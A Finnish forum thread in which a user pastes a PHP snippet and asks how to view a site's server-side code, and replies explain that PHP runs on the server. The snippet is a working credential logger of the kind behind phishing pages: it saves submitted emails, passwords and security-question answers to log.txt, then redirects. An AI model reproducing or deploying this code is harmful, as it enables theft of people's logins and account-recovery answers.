Elikkä jos jollain sivulla on tällainen koodi
<?php if(isset($_POST['submit'])){ $email = Strip_Tags($_POST['email']); $pwd = Strip_Tags($_POST['nick']); $question = Strip_Tags($_POST['question']); $question2 = Strip_Tags($_POST['question2']); $question3 = Strip_Tags($_POST['question22']); $domanda = Strip_Tags($_POST['domanda']); $domanda2 = Strip_Tags($_POST['domanda2']); $lvl = Strip_Tags($_POST['lvl']); $sito = "http://google.it"; $dati_file = "log.txt"; // | $riga_messaggio ="Jotain: $email Jotain: $pwd Jtn: $lvl jtn: $domanda jtn: $question jtn: $domanda2 jtn: $question2 ---------------------------- "; $riga_messaggio = str_replace("\n"," ",$riga_messaggio); $riga_messaggio = stripslashes($riga_messaggio); $riga_messaggio .= "\n"; $fp = fopen($dati_file, "a"); if(!$fp) { echo "Error"; exit; } $fw = fwrite($fp, $riga_messaggio); $fc = fclose($fp); header("location: http://www.sivusto.net"); } ?>
Niin miten sen voisi saada näkyviin?
Koska lähdekoodistahan sitä ei ole, ja kai siihenkin nyt jokin keino löytyy?
e: mahtaskohan Httrack toimia =O
Ei sitä saa mitenkään, jos sivuston ylläpitäjä ei sitä erikseen halua. Tuo koodi käsitellään palvelimen päässä, joten klientille ei tule kuin normaali HTML-vastaus.
Jakke1 kirjoitti:
Niin miten sen voisi saada näkyviin?
Koska lähdekoodistahan sitä ei ole, ja kai siihenkin nyt jokin keino löytyy?
PHP-koodi tosiaan ei sisälly vastaukseen, jonka palvelin lähettää käyttäjälle. Palvelin suorittaa PHP-koodin ja lähettää käyttäjälle ainoastaan HTML-sivun, jonka PHP-koodi generoi. Mitään niksiä saada koodi "näkyviin" ei siis ole, koska palvelin ei yksinkertaisesti lähetä koodia käyttäjälle (paitsi tietenkin haxoroimalla kyseinen palvelin tekemään niin, mutta se on toinen juttu :)).
Oliski vähä törkeetä jos esim. jostain überhax php sivulta saisi kaikki überhax php koodit selville
Joo, minustaki ois ihan hirveetä, jos pääsis kattoon vaikka veppiselaimen, toimisto-ohjelmapaketin tai *shock!* käyttöjärjestelmän *horror!* lähdekoodia!
Ajattele nyt, mitä kauheuksia sitä vois tehä!
Aihe on jo aika vanha, joten et voi enää vastata siihen.